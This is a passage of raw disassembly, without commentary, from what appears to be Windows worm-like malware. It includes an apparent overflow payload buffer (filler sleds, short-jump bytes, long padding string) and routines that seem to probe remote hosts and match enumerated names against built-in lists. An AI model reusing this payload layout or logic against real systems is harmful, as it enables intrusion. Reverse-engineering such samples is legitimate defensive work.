		dd 7524247Ch, 245A8BE1h, 8B66EB01h, 5A8B4B0Ch, 8BEB011Ch
		db 4
byte_40745D	db 8Bh,	1, 0E8h		; DATA XREF: rdata:00405460o
		dd 1C244489h, 8C261h, 4343FEEBh, 0A5h dup(43434343h)
unk_407700	db  43h	; C		; DATA XREF: sub_4099E5+AFo
		db 3 dup(43h)
		db  43h	; C
		db 3 dup(43h)
		db  43h	; C
		db 3 dup(43h)
		db  43h	; C
		db 43h,	23h, 82h
		db    4
		db 20h,	3, 9
		db    0
		db 0EBh, 6, 90h
		db  90h	; 
		db 3 dup(90h)
		db  90h	; 
		db 3, 82h, 4
		db  11h
		align 2
aDddddddddddddd	db 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
		db 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
		db 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
		db 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
		db 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
		db 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
		db 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
		db 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
		db 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
		db 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
		db 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
		db 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
		db 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
		db 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
		db 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
		db 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
		db 0
		align 4
		dd 4 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B46	proc near		; CODE XREF: sub_408440+EBp

var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= byte ptr -260h
var_224		= byte ptr -224h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= byte ptr -78h
var_3C		= byte ptr -3Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFD90h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_270], 0
		push	[ebp+arg_0]
		call	sub_40A320
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_40A25A
		push	0
		push	offset byte_418403
		push	offset byte_4183F5
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_411800
		mov	[ebp+var_8C], eax
		cmp	eax, 0FFFFFFFBh
		jnz	short loc_407B99
		jmp	loc_40808E
; ---------------------------------------------------------------------------


loc_407B99:				; CODE XREF: sub_407B46+4Cj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407BB6
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_411800
		mov	[ebp+var_8C], eax


loc_407BB6:				; CODE XREF: sub_407B46+56j
		cmp	eax, 0FFFFFFFBh
		jnz	short loc_407BC0
		jmp	loc_40808E
; ---------------------------------------------------------------------------


loc_407BC0:				; CODE XREF: sub_407B46+73j
		cmp	eax, 0FFFFFFFFh
		jz	loc_40808E
		push	offset byte_4183E3
		push	[ebp+var_8C]
		call	sub_410F30
		mov	[ebp+var_90], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_408083
		push	offset byte_4183DB
		push	[ebp+var_90]
		call	sub_411080
		mov	[ebp+var_94], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_408078
		push	offset byte_4183C7
		push	[ebp+var_94]
		call	sub_4111E0
		or	eax, eax
		jnz	loc_408078
		lea	eax, [ebp+var_7C]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_408200
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_88]
		push	eax
		push	[ebp+var_7C]
		push	[ebp+var_80]
		push	2Ch
		push	[ebp+var_94]
		call	sub_412840
		mov	[ebp+var_26C], eax
		push	[ebp+var_80]
		call	sub_411CE0
		mov	edx, [ebp+var_88]
		mov	ecx, [ebp+var_84]
		or	ecx, ecx
		jz	short loc_407C7B
		cmp	[ebp+var_26C], 0
		jz	short loc_407C80


loc_407C7B:				; CODE XREF: sub_407B46+12Aj
		jmp	loc_40806D
; ---------------------------------------------------------------------------


loc_407C80:				; CODE XREF: sub_407B46+133j
		mov	eax, [ecx+edx-4]
		or	eax, eax
		jz	short loc_407C8D
		jmp	loc_40806D
; ---------------------------------------------------------------------------


loc_407C8D:				; CODE XREF: sub_407B46+140j
		push	14h
		push	[ebp+var_88]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_40F5BF
		mov	[ebp+var_264], 0
		lea	esi, byte_41884B
		jmp	loc_407D9F
; ---------------------------------------------------------------------------


loc_407CB3:				; CODE XREF: sub_407B46+25Cj
		mov	[ebp+var_268], 0
		lea	eax, [ebp+var_7C]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	dword ptr [esi]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_408140
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_88]
		push	eax
		push	[ebp+var_7C]
		push	[ebp+var_80]
		push	3Ah
		push	[ebp+var_94]
		call	sub_412840
		mov	[ebp+var_26C], eax
		push	[ebp+var_80]
		call	sub_411CE0
		mov	edx, [ebp+var_88]
		mov	ecx, [ebp+var_84]
		or	ecx, ecx
		jz	short loc_407D18
		cmp	[ebp+var_26C], 0
		jz	short loc_407D82


loc_407D18:				; CODE XREF: sub_407B46+1C7j
		mov	[ebp+var_268], 1
		lea	eax, [ebp+var_7C]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	dword ptr [esi]
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_408140
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_88]
		push	eax
		push	[ebp+var_7C]
		push	[ebp+var_80]
		push	0Eh
		push	[ebp+var_94]
		call	sub_412840
		mov	[ebp+var_26C], eax
		push	[ebp+var_80]
		call	sub_411CE0
		mov	edx, [ebp+var_88]
		mov	ecx, [ebp+var_84]
		or	ecx, ecx
		jz	short loc_407D7D
		cmp	[ebp+var_26C], 0
		jz	short loc_407D82


loc_407D7D:				; CODE XREF: sub_407B46+22Cj
		jmp	loc_40804C
; ---------------------------------------------------------------------------


loc_407D82:				; CODE XREF: sub_407B46+1D0j
					; sub_407B46+235j
		cmp	dword ptr [edx+ecx-8], 0
		jz	short loc_407D9C
		cmp	dword ptr [edx+ecx-4], 0
		jnz	short loc_407D9C
		mov	[ebp+var_264], 1
		jmp	short loc_407DA8
; ---------------------------------------------------------------------------


loc_407D9C:				; CODE XREF: sub_407B46+241j
					; sub_407B46+248j
		add	esi, 4


loc_407D9F:				; CODE XREF: sub_407B46+168j
		cmp	dword ptr [esi], 0
		jnz	loc_407CB3


loc_407DA8:				; CODE XREF: sub_407B46+254j
		cmp	[ebp+var_264], 1
		jz	short loc_407DB6
		jmp	loc_40804C
; ---------------------------------------------------------------------------


loc_407DB6:				; CODE XREF: sub_407B46+269j
		mov	esi, [ebp+var_88]
		mov	ecx, [esi+28h]
		shl	ecx, 1
		add	ecx, 3
		and	cl, 0FCh
		add	ecx, 2Ch
		add	esi, ecx
		add	esi, 3
		and	esi, 0FFFFFFFCh
		add	esi, 4
		lea	edi, [ebp+var_78]
		push	18h
		push	esi
		push	edi
		call	sub_40F5BF
		inc	byte ptr [edi+1]
		mov	ebx, 1
		mov	esi, 1F4h
		jmp	loc_407EFE
; ---------------------------------------------------------------------------


loc_407DF3:				; CODE XREF: sub_407B46+3BAj
		mov	[edi+18h], esi
		lea	eax, [ebp+var_7C]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_4080A0
		cmp	[ebp+var_268], 0
		jnz	short loc_407E37
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_88]
		push	eax
		push	[ebp+var_7C]
		push	[ebp+var_80]
		push	39h
		push	[ebp+var_94]
		call	sub_412840
		jmp	short loc_407E58
; ---------------------------------------------------------------------------


loc_407E37:				; CODE XREF: sub_407B46+2CCj
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_88]
		push	eax
		push	[ebp+var_7C]
		push	[ebp+var_80]
		push	0Fh
		push	[ebp+var_94]
		call	sub_412840


loc_407E58:				; CODE XREF: sub_407B46+2EFj
		mov	[ebp+var_26C], eax
		push	[ebp+var_80]
		call	sub_411CE0
		mov	edx, [ebp+var_88]
		mov	ecx, [ebp+var_84]
		or	ecx, ecx
		jz	short loc_407E7F
		cmp	[ebp+var_26C], 0
		jz	short loc_407E84


loc_407E7F:				; CODE XREF: sub_407B46+32Ej
		jmp	loc_40804C
; ---------------------------------------------------------------------------


loc_407E84:				; CODE XREF: sub_407B46+337j
		cmp	dword ptr [edx+ecx-4], 0
		jnz	short loc_407EFC
		mov	ecx, [edx+28h]
		shl	ecx, 1
		add	ecx, 3
		and	cl, 0FCh
		add	ecx, 2Ch
		add	edx, ecx
		add	edx, 3
		and	dl, 0FCh
		add	edx, 1Ch
		cmp	[ebp+var_268], 0
		jnz	short loc_407EB2
		add	edx, 2Ch
		jmp	short loc_407EB5
; ---------------------------------------------------------------------------


loc_407EB2:				; CODE XREF: sub_407B46+365j
		add	edx, 28h


loc_407EB5:				; CODE XREF: sub_407B46+36Aj
		mov	ecx, [edx-4]
		shl	ecx, 1
		mov	dword ptr [ecx+edx], 0
		push	0
		push	0
		push	190h
		lea	eax, [ebp+var_224]
		push	eax
		push	0FFFFFFFFh
		push	edx
		push	0
		push	0
		call	sub_40A23C
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_270]
		mov	ecx, [eax+edx*4]
		lea	eax, [ebp+var_224]
		push	eax
		push	ecx
		call	sub_40A25A
		inc	[ebp+var_270]


loc_407EFC:				; CODE XREF: sub_407B46+343j
		inc	esi
		dec	ebx


loc_407EFE:				; CODE XREF: sub_407B46+2A8j
		or	ebx, ebx
		jnz	loc_407DF3
		mov	ebx, 0Ah
		mov	esi, 3E8h
		jmp	loc_408044
; ---------------------------------------------------------------------------


loc_407F15:				; CODE XREF: sub_407B46+500j
		mov	[edi+18h], esi
		lea	eax, [ebp+var_7C]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		lea	eax, [ebp+var_78]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_4080A0
		cmp	[ebp+var_268], 0
		jnz	short loc_407F59
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_88]
		push	eax
		push	[ebp+var_7C]
		push	[ebp+var_80]
		push	39h
		push	[ebp+var_94]
		call	sub_412840
		jmp	short loc_407F7A
; ---------------------------------------------------------------------------


loc_407F59:				; CODE XREF: sub_407B46+3EEj
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_88]
		push	eax
		push	[ebp+var_7C]
		push	[ebp+var_80]
		push	0Fh
		push	[ebp+var_94]
		call	sub_412840


loc_407F7A:				; CODE XREF: sub_407B46+411j
		mov	[ebp+var_26C], eax
		push	[ebp+var_80]
		call	sub_411CE0
		mov	edx, [ebp+var_88]
		mov	ecx, [ebp+var_84]
		or	ecx, ecx
		jz	short loc_407FA1
		cmp	[ebp+var_26C], 0FFFFFFFFh
		jnz	short loc_407FA6


loc_407FA1:				; CODE XREF: sub_407B46+450j
		jmp	loc_40804C
; ---------------------------------------------------------------------------


loc_407FA6:				; CODE XREF: sub_407B46+459j
		cmp	dword ptr [edx+ecx-4], 0
		jnz	loc_408042
		mov	ecx, [edx+28h]
		shl	ecx, 1
		add	ecx, 3
		and	cl, 0FCh
		add	ecx, 2Ch
		add	edx, ecx
		add	edx, 3
		and	dl, 0FCh
		add	edx, 1Ch
		cmp	[ebp+var_268], 0
		jnz	short loc_407FD8
		add	edx, 2Ch
		jmp	short loc_407FDB
; ---------------------------------------------------------------------------


loc_407FD8:				; CODE XREF: sub_407B46+48Bj
		add	edx, 28h


loc_407FDB:				; CODE XREF: sub_407B46+490j
		mov	ecx, [edx-4]
		shl	ecx, 1
		mov	dword ptr [ecx+edx], 0
		push	0
		push	0
		push	190h
		lea	eax, [ebp+var_224]
		push	eax
		push	0FFFFFFFFh
		push	edx
		push	0
		push	0
		call	sub_40A23C
		cmp	eax, 46h
		jnb	short loc_408042
		lea	eax, [ebp+var_224]
		push	eax
		call	sub_4082A0
		or	eax, eax
		jnz	short loc_408042
		cmp	[ebp+var_270], 5
		jbe	short loc_408023
		jmp	short loc_40804C
; ---------------------------------------------------------------------------


loc_408023:				; CODE XREF: sub_407B46+4D9j
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+var_270]
		mov	ecx, [eax+edx*4]
		lea	eax, [ebp+var_224]
		push	eax
		push	ecx
		call	sub_40A25A
		inc	[ebp+var_270]


loc_408042:				; CODE XREF: sub_407B46+465j
					; sub_407B46+4C0j ...
		inc	esi
		dec	ebx


loc_408044:				; CODE XREF: sub_407B46+3CAj
		or	ebx, ebx
		jnz	loc_407F15


loc_40804C:				; CODE XREF: sub_407B46:loc_407D7Dj
					; sub_407B46+26Bj ...
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_88]
		push	eax
		push	14h
		lea	eax, [ebp+var_3C]
		push	eax
		push	0
		push	[ebp+var_94]
		call	sub_412840


loc_40806D:				; CODE XREF: sub_407B46:loc_407C7Bj
					; sub_407B46+142j
		push	[ebp+var_94]
		call	sub_412230


loc_408078:				; CODE XREF: sub_407B46+BBj
					; sub_407B46+D3j
		push	[ebp+var_90]
		call	sub_412230


loc_408083:				; CODE XREF: sub_407B46+9Cj
		push	[ebp+var_8C]
		call	sub_412230


loc_40808E:				; CODE XREF: sub_407B46+4Ej
					; sub_407B46+75j ...
		mov	eax, [ebp+var_270]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_407B46	endp

; ---------------------------------------------------------------------------
		db 5
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4080A0	proc near		; CODE XREF: sub_407B46+2C0p
					; sub_407B46+3E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		push	258h
		push	40h
		call	sub_40A1D0
		mov	[ebp+var_4], eax
		mov	edi, eax
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		push	14h
		push	[ebp+arg_0]
		push	edi
		call	sub_40F5BF
		add	edi, 14h
		mov	dword ptr [edi], 1
		add	edi, 4
		mov	dword ptr [edi], 0FFFFFFFFh
		add	edi, 4
		mov	dword ptr [edi], 1
		add	edi, 4
		mov	dword ptr [edi], 0FFFFFFFFh
		add	edi, 4
		mov	dword ptr [edi], 5
		add	edi, 4
		push	1Ch
		push	[ebp+arg_4]
		push	edi
		call	sub_40F5BF
		add	edi, 1Ch
		add	edi, 4
		add	edi, 4
		mov	dword ptr [edi], 1
		add	edi, 4
		add	edi, 4
		add	edi, 4
		mov	dword ptr [edi], 2
		add	edi, 4
		mov	esi, [ebp+var_4]
		sub	edi, esi
		mov	ecx, [ebp+arg_C]
		mov	[ecx], edi
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	10h
sub_4080A0	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408140	proc near		; CODE XREF: sub_407B46+185p
					; sub_407B46+1EAp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		push	258h
		push	40h
		call	sub_40A1D0
		mov	[ebp+var_4], eax
		mov	edi, eax
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		push	14h
		push	[ebp+arg_0]
		push	edi
		call	sub_40F5BF
		add	edi, 14h
		mov	dword ptr [edi], 1
		add	edi, 4
		mov	dword ptr [edi], 1
		add	edi, 4
		push	[ebp+arg_4]
		call	sub_40A26C
		mov	esi, eax
		shl	eax, 1
		mov	ebx, eax
		mov	[edi], ax
		add	edi, 2
		add	ax, 2
		mov	[edi], ax
		add	edi, 2
		mov	dword ptr [edi], 0FFFFFFFFh
		add	edi, 4
		inc	esi
		mov	[edi], esi
		mov	dword ptr [edi+4], 0
		dec	esi
		mov	[edi+8], esi
		add	edi, 0Ch
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_40F5BF
		add	edi, ebx
		add	edi, 3
		and	edi, 0FFFFFFFCh
		mov	dword ptr [edi], 1
		add	edi, 4
		add	edi, 4
		mov	dword ptr [edi], 1
		add	edi, 4
		add	edi, 4
		add	edi, 4
		mov	dword ptr [edi], 2
		add	edi, 4
		mov	esi, [ebp+var_4]
		sub	edi, esi
		mov	ecx, [ebp+arg_C]
		mov	[ecx], edi
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	10h
sub_408140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408200	proc near		; CODE XREF: sub_407B46+E8p

var_194		= byte ptr -194h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE6Ch
		push	edi
		push	esi
		push	ebx
		push	258h
		push	40h
		call	sub_40A1D0
		mov	[ebp+var_4], eax
		mov	edi, eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		push	[ebp+arg_0]
		push	offset dword_41840C
		lea	eax, [ebp+var_194]
		push	eax
		call	sub_40A0F2
		add	esp, 0Ch
		mov	dword ptr [edi], 0FFFFFFFFh
		add	edi, 4
		lea	eax, [ebp+var_194]
		push	eax
		push	edi
		call	sub_411BD0
		add	edi, eax
		mov	dword ptr [edi], 18h
		add	edi, 14h
		mov	dword ptr [edi], 0FFFFFFFFh
		add	edi, 4
		mov	dword ptr [edi], 0Ch
		add	edi, 4
		mov	word ptr [edi],	2
		add	edi, 2
		mov	byte ptr [edi],	1
		add	edi, 1
		add	edi, 1
		mov	dword ptr [edi], 800h
		add	edi, 4
		mov	esi, [ebp+var_4]
		sub	edi, esi
		mov	ecx, [ebp+arg_8]
		mov	[ecx], edi
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
sub_408200	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4082A0	proc near		; CODE XREF: sub_407B46+4C9p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], 0
		cmp	[ebp+var_4], 0
		jnz	short loc_4082DD
		lea	esi, byte_418543
		jmp	short loc_4082D8
; ---------------------------------------------------------------------------


loc_4082BE:				; CODE XREF: sub_4082A0+3Bj
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_40A24E
		or	eax, eax
		jnz	short loc_4082D5
		mov	[ebp+var_4], 1
		jmp	short loc_4082DD
; ---------------------------------------------------------------------------


loc_4082D5:				; CODE XREF: sub_4082A0+2Aj
		add	esi, 4


loc_4082D8:				; CODE XREF: sub_4082A0+1Cj
		cmp	dword ptr [esi], 0
		jnz	short loc_4082BE


loc_4082DD:				; CODE XREF: sub_4082A0+14j
					; sub_4082A0+33j
		cmp	[ebp+var_4], 0
		jnz	short loc_408316
		lea	esi, byte_41857B
		jmp	short loc_408311
; ---------------------------------------------------------------------------


loc_4082EB:				; CODE XREF: sub_4082A0+74j
		push	dword ptr [esi]
		push	[ebp+arg_0]
		push	1
		call	sub_4083A0
		or	eax, eax
		jz	short loc_40830E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40830E
		cmp	eax, 0FFFFFFFEh
		jz	short loc_40830E
		mov	[ebp+var_4], 1
		jmp	short loc_408316
; ---------------------------------------------------------------------------


loc_40830E:				; CODE XREF: sub_4082A0+59j
					; sub_4082A0+5Ej ...
		add	esi, 4


loc_408311:				; CODE XREF: sub_4082A0+49j
		cmp	dword ptr [esi], 0
		jnz	short loc_4082EB


loc_408316:				; CODE XREF: sub_4082A0+41j
					; sub_4082A0+6Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_40834F
		lea	esi, byte_4185CB
		jmp	short loc_40834A
; ---------------------------------------------------------------------------


loc_408324:				; CODE XREF: sub_4082A0+ADj
		push	dword ptr [esi]
		push	[ebp+arg_0]
		push	1
		call	sub_4083A0
		or	eax, eax
		jz	short loc_408347
		cmp	eax, 0FFFFFFFFh
		jz	short loc_408347
		cmp	eax, 0FFFFFFFEh
		jz	short loc_408347
		mov	[ebp+var_4], 1
		jmp	short loc_40834F
; ---------------------------------------------------------------------------


loc_408347:				; CODE XREF: sub_4082A0+92j
					; sub_4082A0+97j ...
		add	esi, 4


loc_40834A:				; CODE XREF: sub_4082A0+82j
		cmp	dword ptr [esi], 0
		jnz	short loc_408324


loc_40834F:				; CODE XREF: sub_4082A0+7Aj
					; sub_4082A0+A5j
		mov	eax, [ebp+var_4]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_4082A0	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408360	proc near		; CODE XREF: sub_4083A0+Cp
					; sub_4083A0+17p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		lea	edx, [eax+3]


loc_40836A:				; CODE XREF: sub_408360+1Fj
		mov	ebx, [eax]
		add	eax, 4
		lea	ecx, [ebx-1010101h]
		not	ebx
		and	ecx, ebx
		and	ecx, 80808080h
		jz	short loc_40836A
		test	ecx, 8080h
		jnz	short loc_40838F
		shr	ecx, 10h
		add	eax, 2


loc_40838F:				; CODE XREF: sub_408360+27j
		shl	cl, 1
		sbb	eax, edx
		pop	ebx
		leave
		retn	4
sub_408360	endp

; ---------------------------------------------------------------------------
		dd 24A48Dh, 90000000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4083A0	proc near		; CODE XREF: rdata:00404700p
					; sub_4082A0+52p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_408360
		mov	[ebp+var_4], eax
		push	[ebp+arg_8]
		call	sub_408360
		mov	[ebp+var_8], eax
		cmp	[ebp+arg_0], 1
		jge	short loc_4083CC
		mov	eax, 0FFFFFFFEh
		jmp	short loc_408438
; ---------------------------------------------------------------------------


loc_4083CC:				; CODE XREF: sub_4083A0+23j
		dec	[ebp+arg_0]
		cmp	eax, [ebp+var_4]
		jl	short loc_4083DB
		mov	eax, 0FFFFFFFFh
		jmp	short loc_408438
; ---------------------------------------------------------------------------


loc_4083DB:				; CODE XREF: sub_4083A0+32j
		sub	[ebp+var_4], eax
		inc	[ebp+var_4]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+arg_0]
		jg	short loc_4083F0
		mov	eax, 0FFFFFFFEh
		jmp	short loc_408438
; ---------------------------------------------------------------------------


loc_4083F0:				; CODE XREF: sub_4083A0+47j
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		mov	al, [edi]
		add	esi, ecx
		neg	ecx
		add	ecx, [ebp+arg_0]
		jmp	short loc_408411
; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		align 8
		dd 24A48Dh, 90000000h
; ---------------------------------------------------------------------------


loc_408410:				; CODE XREF: sub_4083A0+89j
		inc	ecx


loc_408411:				; CODE XREF: sub_4083A0+5Fj
					; sub_4083A0+77j
		cmp	al, [ecx+esi]
		jz	short loc_40841B
		inc	ecx
		js	short loc_408411
		jmp	short loc_408436
; ---------------------------------------------------------------------------


loc_40841B:				; CODE XREF: sub_4083A0+74j
		lea	ebx, [ecx+esi]
		mov	edx, [ebp+var_8]


loc_408421:				; CODE XREF: sub_4083A0+8Cj
		mov	ah, [edx+ebx-1]
		cmp	ah, [edx+edi-1]
		jnz	short loc_408410
		dec	edx
		jnz	short loc_408421
		add	ecx, [ebp+var_4]
		mov	eax, ecx
		inc	eax
		jmp	short loc_408438
; ---------------------------------------------------------------------------


loc_408436:				; CODE XREF: sub_4083A0+79j
		xor	eax, eax


loc_408438:				; CODE XREF: sub_4083A0+2Aj
					; sub_4083A0+39j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_4083A0	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408440	proc near		; CODE XREF: sub_408DC0+7ADp

var_546		= dword	ptr -546h
var_542		= dword	ptr -542h
var_53E		= byte ptr -53Eh
var_53D		= byte ptr -53Dh
var_53C		= dword	ptr -53Ch
var_538		= dword	ptr -538h
var_534		= dword	ptr -534h
var_530		= dword	ptr -530h
var_52C		= byte ptr -52Ch
var_528		= dword	ptr -528h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51A		= byte ptr -51Ah
var_4CA		= byte ptr -4CAh
var_47A		= byte ptr -47Ah
var_42A		= byte ptr -42Ah
var_3DA		= byte ptr -3DAh
var_38A		= byte ptr -38Ah
var_33A		= byte ptr -33Ah
var_312		= byte ptr -312h
var_2CC		= byte ptr -2CCh
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFAB8h
		push	edi
		push	esi
		push	ebx
		push	(offset	loc_41AE94+2)
		call	sub_40A134
		push	[ebp+arg_0]
		pop	[ebp+var_530]
		push	[ebp+arg_0]
		call	sub_40A320
		push	eax
		lea	eax, [ebp+var_312]
		push	eax
		call	sub_40A25A
		push	(offset	loc_41AE94+2)
		call	sub_40A1C4
		push	offset dword_41BC90
		call	sub_40A1B8
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_312]
		push	eax
		call	sub_411800
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4084D1
		cmp	[ebp+var_8], 0FFFFFFFBh
		jz	short loc_4084D1
		mov	ebx, [ebp+var_8]
		lea	ecx, [ebx+18Ah]
		cmp	dword ptr [ecx], 646E6957h
		jz	short loc_4084C7
		push	[ebp+var_8]
		call	sub_412230
		jmp	loc_4087FF
; ---------------------------------------------------------------------------


loc_4084C7:				; CODE XREF: sub_408440+78j
		push	[ebp+var_8]
		call	sub_412230
		jmp	short loc_4084DC
; ---------------------------------------------------------------------------


loc_4084D1:				; CODE XREF: sub_408440+61j
					; sub_408440+67j
		cmp	[ebp+var_8], 0FFFFFFFBh
		jnz	short loc_4084DC
		jmp	loc_4087FF
; ---------------------------------------------------------------------------


loc_4084DC:				; CODE XREF: sub_408440+8Fj
					; sub_408440+95j
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	esi, [ebp+var_33A]
		lea	eax, [ebp+var_38A]
		mov	[esi], eax
		lea	eax, [ebp+var_3DA]
		mov	[esi+4], eax
		lea	eax, [ebp+var_42A]
		mov	[esi+8], eax
		lea	eax, [ebp+var_47A]
		mov	[esi+0Ch], eax
		lea	eax, [ebp+var_4CA]
		mov	[esi+10h], eax
		lea	eax, [ebp+var_51A]
		mov	[esi+14h], eax
		lea	eax, [ebp+var_33A]
		push	eax
